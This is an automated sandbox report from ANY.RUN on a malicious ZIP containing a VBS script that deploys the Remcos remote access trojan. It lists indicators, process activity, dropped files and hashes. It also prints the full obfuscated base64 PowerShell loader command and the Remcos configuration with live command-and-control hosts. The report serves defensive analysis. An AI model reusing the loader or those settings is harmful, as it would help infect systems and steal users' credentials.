File name:

723cd570a0aff149b0eb3140ceb46367174663f47419e9d0f86e123e7579d153.zip

Full analysis: https://app.any.run/tasks/738b7baa-8399-48f6-9f71-a95c2396198a
Verdict: Malicious activity
Threats:

Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links.

Malware Trends Tracker     >>>
Analysis date: May 15, 2025, 12:11:26
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
arch-scr
remcos
rat
remote
stealer
susp-powershell
Indicators:
MIME: application/zip
File info: Zip archive data, at least v5.1 to extract, compression method=AES Encrypted
MD5:

49556B8D07211B6CFB779C7A0B348416

SHA1:

7CC9B118AC81C791E544C2864295E8D161046DC4

SHA256:

AADB6235E9D24942AF73783195C0491A085EC2879A776DC1356E1654ABBC5E9B

SSDEEP:

24576:NmAWvzgbfls4z+pewzwdC5NAZv7LGMfiOBcLo1SY2Y:NmAWvzWfls4z+pewzwdC5NAZv7LdfiO9

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Accesses environment variables (SCRIPT)

      • wscript.exe (PID: 2336)

    • Gets TEMP folder path (SCRIPT)

      • wscript.exe (PID: 2336)

    • Changes powershell execution policy (Bypass)

      • cmd.exe (PID: 752)

    • Bypass execution policy to execute commands

      • powershell.exe (PID: 2948)

    • Gets or sets the initialization vector for the symmetric algorithm (POWERSHELL)

      • powershell.exe (PID: 2948)

    • Gets or sets the symmetric key that is used for encryption and decryption (POWERSHELL)

      • powershell.exe (PID: 2948)

    • REMCOS mutex has been found

      • powershell.exe (PID: 2948)

    • REMCOS has been detected

      • powershell.exe (PID: 2948)

    • REMCOS has been detected (SURICATA)

      • powershell.exe (PID: 2948)

    • Request from PowerShell which ran from CMD.EXE

      • powershell.exe (PID: 2948)

    • Uses AES cipher (POWERSHELL)

      • powershell.exe (PID: 2948)

    • REMCOS has been detected (YARA)

      • powershell.exe (PID: 2948)

    • Steals credentials from Web Browsers

      • svchost.exe (PID: 2388)

  • SUSPICIOUS

    • Creates FileSystem object to access computer's file system (SCRIPT)

      • wscript.exe (PID: 2336)

    • Writes binary data to a Stream object (SCRIPT)

      • wscript.exe (PID: 2336)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 2336)
      • cmd.exe (PID: 1864)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 1864)
      • wscript.exe (PID: 2336)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 2336)

    • Application launched itself

      • cmd.exe (PID: 1864)

    • Reads the Internet Settings

      • wscript.exe (PID: 2336)
      • powershell.exe (PID: 2948)

    • Possibly malicious use of IEX has been detected

      • cmd.exe (PID: 752)

    • Starts POWERSHELL.EXE for commands execution

      • cmd.exe (PID: 752)

    • The process bypasses the loading of PowerShell profile settings

      • cmd.exe (PID: 752)

    • Uses base64 encoding (POWERSHELL)

      • powershell.exe (PID: 2948)

    • Contacting a server suspected of hosting an CnC

      • powershell.exe (PID: 2948)

    • Connects to unusual port

      • powershell.exe (PID: 2948)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 2948)

    • Accesses Microsoft Outlook profiles

      • svchost.exe (PID: 3376)

    • There is functionality for taking screenshot (YARA)

      • powershell.exe (PID: 2948)

    • Loads DLL from Mozilla Firefox

      • svchost.exe (PID: 2912)

  • INFO

    • Manual execution by a user

      • wscript.exe (PID: 2336)

    • Converts byte array into ASCII string (POWERSHELL)

      • powershell.exe (PID: 2948)

    • Converts byte array into Unicode string (POWERSHELL)

      • powershell.exe (PID: 2948)

    • Uses string split method (POWERSHELL)

      • powershell.exe (PID: 2948)

    • Gets data length (POWERSHELL)

      • powershell.exe (PID: 2948)

    • Checks proxy server information

      • powershell.exe (PID: 2948)

    • The sample compiled with english language support

      • powershell.exe (PID: 2948)

    • Create files in a temporary directory

      • svchost.exe (PID: 2388)
      • svchost.exe (PID: 2912)
      • svchost.exe (PID: 3376)

    • Found Base64 encoded access to Marshal class via PowerShell (YARA)

      • powershell.exe (PID: 2948)

    • Found Base64 encoded reflection usage via PowerShell (YARA)

      • powershell.exe (PID: 2948)

    • Found Base64 encoded text manipulation via PowerShell (YARA)

      • powershell.exe (PID: 2948)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

Remcos

(PID) Process(2948) powershell.exe
C2 (1)aneesh-technomakest.duckdns.org:53567:1aneesh-technomakestbk.duckdns.org:51915
Botnetaneesh
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell100000
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueFalse
Hide_fileFalse
Mutex_nameRmc-IHA4YK
Keylog_flag0
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path1
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
No Malware configuration.

TRiD

.zip | ZIP compressed archive (100)

EXIF

ZIP

ZipRequiredVersion: 51
ZipBitFlag: 0x0003
ZipCompression: Unknown (99)
ZipModifyDate: 2025:05:15 12:10:52
ZipCRC: 0x61f5c200
ZipCompressedSize: 544802
ZipUncompressedSize: 770172
ZipFileName: 723cd570a0aff149b0eb3140ceb46367174663f47419e9d0f86e123e7579d153.vbs
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
9
Malicious processes
5
Suspicious processes
1

Behavior graph

Click at the process to see the details
start winrar.exe no specs wscript.exe no specs cmd.exe no specs cmd.exe no specs #REMCOS powershell.exe svchost.exe svchost.exe svchost.exe no specs svchost.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
752C:\Windows\system32\cmd.exe /K "C:\Users\admin\AppData\Local\Temp\UUxKe.bat" C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
1080C:\Windows\system32\svchost.exe -k NetworkServiceC:\Windows\System32\svchost.exe
services.exe
User:
NETWORK SERVICE
Company:
Microsoft Corporation
Integrity Level:
SYSTEM
Description:
Host Process for Windows Services
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\ole32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\user32.dll
1864"C:\Windows\System32\cmd.exe" /c "C:\Users\admin\AppData\Local\Temp\UUxKe.bat"C:\Windows\System32\cmd.exe—wscript.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\winbrand.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
2336"C:\Windows\System32\WScript.exe" "C:\Users\admin\Desktop\723cd570a0aff149b0eb3140ceb46367174663f47419e9d0f86e123e7579d153.vbs" C:\Windows\System32\wscript.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft ® Windows Based Script Host
Exit code:
0
Version:
5.8.7600.16385
Modules
Images
c:\windows\system32\wscript.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
2388C:\Windows\System32\svchost.exe /stext "C:\Users\admin\AppData\Local\Temp\jidx"C:\Windows\System32\svchost.exe
powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\temp\th94d8.tmp
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2840"C:\Program Files\WinRAR\WinRAR.exe" C:\Users\admin\AppData\Local\Temp\723cd570a0aff149b0eb3140ceb46367174663f47419e9d0f86e123e7579d153.zipC:\Program Files\WinRAR\WinRAR.exe—explorer.exe
User:
admin
Company:
Alexander Roshal
Integrity Level:
MEDIUM
Description:
WinRAR archiver
Version:
5.91.0
Modules
Images
c:\program files\winrar\winrar.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\comdlg32.dll
2912C:\Windows\System32\svchost.exe /stext "C:\Users\admin\AppData\Local\Temp\wfwapaxeedv"C:\Windows\System32\svchost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\temp\th94ea.tmp
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
2948"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('DQoNCiR0c29iZyA9IEAnDQoka2NndHh5Z3ZieGxjeHlnbmlxdmR4eWdxID0gJHh5Z2VudjpVeHlnU0VSTkF4eWdNRTskbHh5Z2NpbG55eHlnbXpwaGV4eWdveHVuIHh5Zz0gIkM6eHlnXFVzZXJ4eWdzXCRrY3h5Z2d0dmJ4eHlnbGNuaXF4eWd2ZHFcZHh5Z3dtLmJheHlndCI7aWZ4eWcgKFRlc3h5Z3QtUGF0eHlnaCAkbGN4eWdpbG55bXh5Z3pwaGVveHlneHVuKSB4eWd7ICAgIHh5Z1dyaXRleHlnLUhvc3R4eWcgIkJhdHh5Z2NoIGZpeHlnbGUgZm94eWd1bmQ6IHh5ZyRsY2lseHlnbnltenB4eWdoZW94dXh5Z24iIC1GeHlnb3JlZ3J4eWdvdW5kQ3h5Z29sb3IgeHlnQ3lhbjt4eWcgICAgJHh5Z2ZpbGVMeHlnaW5lcyB4eWc9IFtTeXh5Z3N0ZW0ueHlnSU8uRml4eWdsZV06Onh5Z1JlYWRBeHlnbGxMaW54eWdlcygkbHh5Z2NpbG55eHlnbXpwaGV4eWdveHVuLHh5ZyBbU3lzeHlndGVtLlR4eWdleHQuRXh5Z25jb2RpeHlnbmddOjp4eWdVVEY4KXh5ZzsgICAgeHlnZm9yZWF4eWdjaCAoJHh5Z2xpbmUgeHlnaW4gJGZ4eWdpbGVMaXh5Z25lcykgeHlneyAgICB4eWcgICAgaXh5Z2YgKCRseHlnaW5lIC14eWdtYXRjaHh5ZyAnXjo6eHlnOiA/KC54eWcrKSQnKXh5ZyB7ICAgeHlnICAgICB4eWcgICAgV3h5Z3JpdGUteHlnSG9zdCB4eWciSW5qZXh5Z2N0aW9ueHlnIGNvZGV4eWcgZGV0ZXh5Z2N0ZWQgeHlnaW4gdGh4eWdlIGJhdHh5Z2NoIGZpeHlnbGUuIiB4eWctRm9yZXh5Z2dyb3VueHlnZENvbG94eWdyIEN5YXh5Z247ICAgeHlnICAgICB4eWcgICAgdHh5Z3J5IHsgeHlnICAgICB4eWcgICAgIHh5ZyAgICAgeHlnJGRlY294eWdkZWRCeXh5Z3RlcyA9eHlnIFtTeXN4eWd0ZW0uQ3h5Z29udmVyeHlndF06OkZ4eWdyb21CYXh5Z3NlNjRTeHlndHJpbmd4eWcoJG1hdHh5Z2NoZXNbeHlnMV0uVHJ4eWdpbSgpKXh5ZzsgICAgeHlnICAgICB4eWcgICAgIHh5ZyAgJGlueHlnamVjdGl4eWdvbkNvZHh5Z2UgPSBbeHlnU3lzdGV4eWdtLlRleHh5Z3QuRW5jeHlnb2Rpbmd4eWddOjpVbnh5Z2ljb2RleHlnLkdldFN4eWd0cmluZ3h5ZygkZGVjeHlnb2RlZEJ4eWd5dGVzKXh5ZzsgICAgeHlnICAgICB4eWcgICAgIHh5ZyAgV3JpeHlndGUtSG94eWdzdCAiSXh5Z25qZWN0eHlnaW9uIGN4eWdvZGUgZHh5Z2Vjb2RleHlnZCBzdWN4eWdjZXNzZnh5Z3VsbHkueHlnIiAtRm94eWdyZWdyb3h5Z3VuZENveHlnbG9yIEd4eWdyZWVuO3h5ZyAgICAgeHlnICAgICB4eWcgICAgIHh5ZyBXcml0eHlnZS1Ib3N4eWd0ICJFeHh5Z2VjdXRpeHlnbmcgaW54eWdqZWN0aXh5Z29uIGNveHlnZGUuLi54eWciIC1Gb3h5Z3JlZ3JveHlndW5kQ294eWdsb3IgWXh5Z2VsbG93eHlnOyAgICB4eWcgICAgIHh5ZyAgICAgeHlnICBJbnZ4eWdva2UtRXh5Z3hwcmVzeHlnc2lvbiB4eWckaW5qZXh5Z2N0aW9ueHlnQ29kZTt4eWcgICAgIHh5ZyAgICAgeHlnICAgICB4eWcgYnJlYXh5Z2s7ICAgeHlnICAgICB4eWcgICAgfXh5ZyBjYXRjeHlnaCB7ICB4eWcgICAgIHh5ZyAgICAgeHlnICAgIFd4eWdyaXRlLXh5Z0hvc3QgeHlnIkVycm94eWdyIGR1cnh5Z2luZyBkeHlnZWNvZGl4eWduZyBvcnh5ZyBleGVjeHlndXRpbmd4eWcgaW5qZXh5Z2N0aW9ueHlnIGNvZGV4eWc6ICRfInh5ZyAtRm9yeHlnZWdyb3V4eWduZENvbHh5Z29yIFJleHlnZDsgICB4eWcgICAgIHh5ZyAgICB9eHlnOyAgICB4eWcgICAgfXh5ZzsgICAgeHlnfTt9IGV4eWdsc2Uge3h5ZyAgICAgeHlnIFdyaXR4eWdlLUhvc3h5Z3QgIlN5eHlnc3RlbSB4eWdFcnJvcnh5ZzogQmF0eHlnY2ggZml4eWdsZSBub3h5Z3QgZm91eHlnbmQ6ICR4eWdsY2lsbnh5Z3ltenBoeHlnZW94dW54eWciIC1Gb3h5Z3JlZ3JveHlndW5kQ294eWdsb3IgUnh5Z2VkOyAgeHlnICBleGl4eWd0O307Znh5Z3VuY3RpeHlnb24gbmN4eWdjcmZrcHh5Z2hhY2pkeHlnYmR2KCR4eWdwYXJhbXh5Z192YXIpeHlnewkkYWV4eWdzX3Zhcnh5Zz1bU3lzeHlndGVtLlN4eWdlY3VyaXh5Z3R5LkNyeHlneXB0b2d4eWdyYXBoeXh5Zy5BZXNdeHlnOjpDcmV4eWdhdGUoKXh5ZzsJJGFleHlnc192YXJ4eWcuTW9kZXh5Zz1bU3lzeHlndGVtLlN4eWdlY3VyaXh5Z3R5LkNyeHlneXB0b2d4eWdyYXBoeXh5Zy5DaXBoeHlnZXJNb2R4eWdlXTo6Q3h5Z0JDOwkkeHlnYWVzX3Z4eWdhci5QYXh5Z2RkaW5neHlnPVtTeXN4eWd0ZW0uU3h5Z2VjdXJpeHlndHkuQ3J4eWd5cHRvZ3h5Z3JhcGh5eHlnLlBhZGR4eWdpbmdNb3h5Z2RlXTo6eHlnUEtDUzd4eWc7CSRhZXh5Z3NfdmFyeHlnLktleT14eWdbU3lzdHh5Z2VtLkNveHlnbnZlcnR4eWddOjpGcnh5Z29tQmFzeHlnZTY0U3R4eWdyaW5nKHh5ZydPUGxyeHlnZnptY1l4eWdvWkZDcnh5Z0ZjQUpyeHlnWnpEMEh4eWdkSHZsR3h5Z1p6a2ZBeHlndzNKRkF4eWdtWWFVPXh5ZycpOwkkeHlnYWVzX3Z4eWdhci5JVnh5Zz1bU3lzeHlndGVtLkN4eWdvbnZlcnh5Z3RdOjpGeHlncm9tQmF4eWdzZTY0U3h5Z3RyaW5neHlnKCcxa0R4eWdrVHBWV3h5Z2lDVXppeHlnZXBacWV4eWdYb3NBPXh5Zz0nKTsJeHlnJGRlY3J4eWd5cHRvcnh5Z192YXI9eHlnJGFlc194eWd2YXIuQ3h5Z3JlYXRleHlnRGVjcnl4eWdwdG9yKHh5Zyk7CSRyeHlnZXR1cm54eWdfdmFyPXh5ZyRkZWNyeHlneXB0b3J4eWdfdmFyLnh5Z1RyYW5zeHlnZm9ybUZ4eWdpbmFsQnh5Z2xvY2soeHlnJHBhcmF4eWdtX3Zhcnh5ZywgMCwgeHlnJHBhcmF4eWdtX3Zhcnh5Zy5MZW5neHlndGgpOwl4eWckZGVjcnh5Z3lwdG9yeHlnX3Zhci54eWdEaXNwb3h5Z3NlKCk7eHlnCSRhZXN4eWdfdmFyLnh5Z0Rpc3BveHlnc2UoKTt4eWcJJHJldHh5Z3Vybl92eHlnYXI7fWZ4eWd1bmN0aXh5Z29uIHFreHlnbXNjZ2t4eWdqdmF0aXh5Z2RodigkeHlncGFyYW14eWdfdmFyKXh5Z3sJJHpqeHlnenVpb3p4eWdydm1uYnh5Z2FrYz1OeHlnZXctT2J4eWdqZWN0IHh5Z1N5c3RleHlnbS5JTy54eWdNZW1vcnh5Z3lTdHJleHlnYW0oLCR4eWdwYXJhbXh5Z192YXIpeHlnOwkkbG14eWdrbWlvdnh5Z2puY2RzeHlnZ3FtPU54eWdldy1PYnh5Z2plY3QgeHlnU3lzdGV4eWdtLklPLnh5Z01lbW9yeHlneVN0cmV4eWdhbTsJJHh5Z2JtemZkeHlnemVodWd4eWdxc3Jnb3h5Zz1OZXcteHlnT2JqZWN4eWd0IFN5c3h5Z3RlbS5JeHlnTy5Db214eWdwcmVzc3h5Z2lvbi5HeHlnWmlwU3R4eWdyZWFtKHh5ZyR6anp1eHlnaW96cnZ4eWdtbmJha3h5Z2MsIFtJeHlnTy5Db214eWdwcmVzc3h5Z2lvbi5DeHlnb21wcmV4eWdzc2lvbnh5Z01vZGVdeHlnOjpEZWN4eWdvbXByZXh5Z3NzKTsJeHlnJGJtemZ4eWdkemVodXh5Z2dxc3JneHlnby5Db3B4eWd5VG8oJHh5Z2xta21peHlnb3ZqbmN4eWdkc2dxbXh5Zyk7CSRieHlnbXpmZHp4eWdlaHVncXh5Z3NyZ28ueHlnRGlzcG94eWdzZSgpO3h5Zwkkemp6eHlndWlvenJ4eWd2bW5iYXh5Z2tjLkRpeHlnc3Bvc2V4eWcoKTsJJHh5Z2xta21peHlnb3ZqbmN4eWdkc2dxbXh5Zy5EaXNweHlnb3NlKCl4eWc7CSRsbXh5Z2ttaW92eHlnam5jZHN4eWdncW0uVHh5Z29BcnJheHlneSgpO314eWdmdW5jdHh5Z2lvbiBjeHlnamJtbG94eWdvbmh5eXh5Z2hicWooeHlnJHBhcmF4eWdtX3Zhcnh5ZywkcGFyeHlnYW0yX3Z4eWdhcil7CXh5ZyRlanpzeHlnb2d5cXp4eWdnZHpscnh5Z2U9W1N5eHlnc3RlbS54eWdSZWZsZXh5Z2N0aW9ueHlnLkFzc2V4eWdtYmx5XXh5Zzo6KCdkeHlnYW9MJ1t4eWctMS4uLXh5ZzRdIC1qeHlnb2luICd4eWcnKShbYnh5Z3l0ZVtdeHlnXSRwYXJ4eWdhbV92YXh5Z3IpOwkkeHlnd3RhaWt4eWdhY3ZoY3h5Z2hmcGZyeHlnPSRlanp4eWdzb2d5cXh5Z3pnZHpseHlncmUuRW54eWd0cnlQb3h5Z2ludDsJeHlnJHd0YWl4eWdrYWN2aHh5Z2NoZnBmeHlnci5JbnZ4eWdva2UoJHh5Z251bGwseHlnICRwYXJ4eWdhbTJfdnh5Z2FyKTt9eHlnJGhvc3R4eWcuVUkuUnh5Z2F3VUkueHlnV2luZG94eWd3VGl0bHh5Z2UgPSAkeHlnbGNpbG54eWd5bXpwaHh5Z2VveHVueHlnOyR6bm14eWdwZWZodHh5Z2ZzZ2xkeHlnaGM9W1N4eWd5c3RlbXh5Zy5JTy5GeHlnaWxlXTp4eWc6KCd0eHh5Z2VUbGxBeHlnZGFlUid4eWdbLTEuLnh5Zy0xMV0geHlnLWpvaW54eWcgJycpKHh5ZyRsY2lseHlnbnltenB4eWdoZW94dXh5Z24pLlNweHlnbGl0KFt4eWdFbnZpcnh5Z29ubWVueHlndF06Ok54eWdld0xpbnh5Z2UpO2ZveHlncmVhY2h4eWcgKCRuaXh5Z3Ntd2NoeHlnZHltY2N4eWdrY3YgaXh5Z24gJHpueHlnbXBlZmh4eWd0ZnNnbHh5Z2RoYykgeHlnewlpZiB4eWcoJG5pc3h5Z213Y2hkeHlneW1jY2t4eWdjdi5TdHh5Z2FydHNXeHlnaXRoKCd4eWc6OiAnKXh5ZykJewkJeHlnJG9kbWh4eWdsd2NodXh5Z2FkamN0eHlnaD0kbml4eWdzbXdjaHh5Z2R5bWNjeHlna2N2LlN4eWd1YnN0cnh5Z2luZygzeHlnKTsJCWJ4eWdyZWFrO3h5Zwl9fSRzeHlndnJ1enp4eWd5amdvZ3h5Z2FvdWo9eHlnW3N0cml4eWduZ1tdXXh5ZyRvZG1oeHlnbHdjaHV4eWdhZGpjdHh5Z2guU3BseHlnaXQoJ1x4eWcnKTskdXh5Z3NmeWxzeHlndG5wZXB4eWdtd2dwPXh5Z3FrbXNjeHlnZ2tqdmF4eWd0aWRodnh5ZyAobmNjeHlncmZrcGh4eWdhY2pkYnh5Z2R2IChbeHlnQ29udmV4eWdydF06Onh5Z0Zyb21CeHlnYXNlNjR4eWdTdHJpbnh5Z2coJHN2eHlncnV6enl4eWdqZ29nYXh5Z291alsweHlnXSkpKTt4eWckaXZrZ3h5Z3VnbHBkeHlndnFjamJ4eWd4PXFrbXh5Z3NjZ2tqeHlndmF0aWR4eWdodiAobnh5Z2NjcmZreHlncGhhY2p4eWdkYmR2IHh5ZyhbQ29ueHlndmVydF14eWc6OkZyb3h5Z21CYXNleHlnNjRTdHJ4eWdpbmcoJHh5Z3N2cnV6eHlnenlqZ294eWdnYW91anh5Z1sxXSkpeHlnKTtjamJ4eWdtbG9vbnh5Z2h5eWhieHlncWogJHV4eWdzZnlsc3h5Z3RucGVweHlnbXdncCB4eWckbnVsbHh5ZztjamJteHlnbG9vbmh4eWd5eWhicXh5Z2ogJGl2eHlna2d1Z2x4eWdwZHZxY3h5Z2pieCAoeHlnLFtzdHJ4eWdpbmdbXXh5Z10gKCcleHlnKicpKTsNCidADQoNCiR3ZWR6eSA9ICR0c29iZyAtcmVwbGFjZSAneHlnJywgJycNCg0KSW52b2tlLUV4cHJlc3Npb24gJHdlZHp5DQo=')) | Invoke-Expression"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Version:
10.0.14409.1005 (rs1_srvoob.161208-1155)
Modules
Images
c:\windows\system32\windowspowershell\v1.0\powershell.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\atl.dll
c:\windows\system32\user32.dll
Remcos
(PID) Process(2948) powershell.exe
C2 (1)aneesh-technomakest.duckdns.org:53567:1aneesh-technomakestbk.duckdns.org:51915
Botnetaneesh
Options
Connect_interval1
Install_flagFalse
Install_HKCU\RunTrue
Install_HKLM\RunTrue
Install_HKLM\Explorer\Run1
Install_HKLM\Winlogon\Shell100000
Setup_path%LOCALAPPDATA%
Copy_fileremcos.exe
Startup_valueFalse
Hide_fileFalse
Mutex_nameRmc-IHA4YK
Keylog_flag0
Keylog_path%LOCALAPPDATA%
Keylog_filelogs.dat
Keylog_cryptFalse
Hide_keylogFalse
Screenshot_flagFalse
Screenshot_time5
Take_ScreenshotFalse
Screenshot_path%APPDATA%
Screenshot_fileScreenshots
Screenshot_cryptFalse
Mouse_optionFalse
Delete_fileFalse
Audio_record_time5
Audio_path1
Audio_dirMicRecords
Connect_delay0
Copy_dirRemcos
Keylog_dirremcos
3376C:\Windows\System32\svchost.exe /stext "C:\Users\admin\AppData\Local\Temp\tlqhwink"C:\Windows\System32\svchost.exe—powershell.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Host Process for Windows Services
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\users\admin\appdata\local\temp\th94e9.tmp
c:\windows\system32\svchost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\winsxs\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.18837_none_ec86b8d6858ec0bc\comctl32.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
Total events
6 806
Read events
6 748
Write events
52
Delete events
6

Modification events

(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtBMP
Value:
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\Interface\Themes
Operation:writeName:ShellExtIcon
Value:
(PID) Process:(2840) WinRAR.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\182\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:3
Value:
C:\Users\admin\Desktop\Win7-KB3191566-x86.zip
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:2
Value:
C:\Users\admin\Desktop\curl-8.5.0_1-win32-mingw.zip
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:1
Value:
C:\Users\admin\Desktop\omni_23_10_2024_.zip
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\ArcHistory
Operation:writeName:0
Value:
C:\Users\admin\AppData\Local\Temp\723cd570a0aff149b0eb3140ceb46367174663f47419e9d0f86e123e7579d153.zip
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:name
Value:
120
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:size
Value:
80
(PID) Process:(2840) WinRAR.exeKey:HKEY_CURRENT_USER\Software\WinRAR\FileList\FileColumnWidths
Operation:writeName:type
Value:
120
Executable files
3
Suspicious files
3
Text files
5
Unknown types
0

Dropped files

PID
Process
Filename
Type
2388svchost.exeC:\Users\admin\AppData\Local\Temp\bhv9507.tmp —
MD5:—
SHA256:—
2948powershell.exeC:\Users\admin\AppData\Local\Temp\yhlegfdb.qxn.psm1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2336wscript.exeC:\Users\admin\AppData\Local\Temp\UUxKe.battext
MD5:293B26525434149E7303931FD54B5FA4
SHA256:5B87711334E3FD265B3A8A4AB175A6F4118B6EBBA3FF8AB59CE013E1167A8C62
2948powershell.exeC:\Users\admin\AppData\Local\Temp\rzhidlvs.3rr.ps1binary
MD5:C4CA4238A0B923820DCC509A6F75849B
SHA256:—
2948powershell.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\B6QGX7LP\json[1].jsonbinary
MD5:18BDFC74788964D10CBA54458C2D9430
SHA256:37D845AD0ADAFA9FE68D481A00945D01B2BC5BE8E0ADB2E134A44E0CB9F30439
2948powershell.exeC:\Users\admin\AppData\Local\Temp\TH94E9.tmpexecutable
MD5:D1CA7BE039D728EA77ABFC00587572F4
